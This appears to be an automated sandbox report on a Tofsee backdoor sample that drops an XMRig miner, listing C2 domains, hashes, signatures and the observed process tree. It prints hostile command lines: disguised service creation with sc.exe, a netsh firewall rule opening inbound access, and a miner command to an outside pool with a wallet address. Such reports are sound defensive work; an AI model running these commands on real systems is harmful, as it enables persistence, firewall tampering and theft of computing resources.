Analysis

  • max time kernel
    152s
  • max time network
    175s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 12:00

General

  • Target
    file.exe
  • Size 224KB
  • Sample221022-n6bd4sdbcj
  • SHA256 42987c2eefa43dfcd75aeeffd2da2821ce073a563e6a9eb611fe98c0f4f23c00
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\trtgeaa\
      2⤵
        PID:1772
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pifnexro.exe" C:\Windows\SysWOW64\trtgeaa\
        2⤵
          PID:2884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create trtgeaa binPath= "C:\Windows\SysWOW64\trtgeaa\pifnexro.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description trtgeaa "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start trtgeaa
          2⤵
          • Launches sc.exe
          PID:4544
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3244
      • C:\Windows\SysWOW64\trtgeaa\pifnexro.exe
        C:\Windows\SysWOW64\trtgeaa\pifnexro.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1056
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2428

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            pifnexro.exe

            • Path C:\Users\Admin\AppData\Local\Temp\pifnexro.exe
            • Size 11.6MB
            • SHA256 28654e902f00c71e3d39a052265bb8fdfe55491eb0be4fd95d7359f440253ff5
            • MD5 SHA1 SHA512 SSDEEP

            pifnexro.exe

            • Path C:\Windows\SysWOW64\trtgeaa\pifnexro.exe
            • Size 11.6MB
            • SHA256 28654e902f00c71e3d39a052265bb8fdfe55491eb0be4fd95d7359f440253ff5
            • MD5 SHA1 SHA512 SSDEEP

            memory/1056-151-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1056-147-0x0000000002D8D000-0x0000000002DA3000-memory.dmp

            memory/1056-150-0x0000000002D8D000-0x0000000002DA3000-memory.dmp

            memory/1056-155-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/2428-176-0x0000000000B00000-0x0000000000BF1000-memory.dmp

            memory/2428-181-0x0000000000B00000-0x0000000000BF1000-memory.dmp

            memory/4364-157-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            memory/4364-172-0x00000000021E0000-0x00000000021E7000-memory.dmp

            memory/4364-169-0x0000000007900000-0x0000000007D0B000-memory.dmp

            memory/4364-149-0x0000000000D00000-0x0000000000D15000-memory.dmp

            memory/4364-166-0x00000000021D0000-0x00000000021D5000-memory.dmp

            memory/4364-163-0x0000000002180000-0x0000000002190000-memory.dmp

            memory/4364-153-0x0000000000D00000-0x0000000000D15000-memory.dmp

            memory/4364-154-0x0000000000D00000-0x0000000000D15000-memory.dmp

            memory/4364-160-0x0000000002170000-0x0000000002176000-memory.dmp

            memory/4364-156-0x0000000000D00000-0x0000000000D15000-memory.dmp

            memory/4972-136-0x0000000002D80000-0x0000000002D93000-memory.dmp

            memory/4972-145-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/4972-132-0x0000000002FB3000-0x0000000002FC9000-memory.dmp

            memory/4972-144-0x0000000002FB3000-0x0000000002FC9000-memory.dmp

            memory/4972-135-0x0000000002FB3000-0x0000000002FC9000-memory.dmp

            memory/4972-134-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/4972-133-0x0000000002D80000-0x0000000002D93000-memory.dmp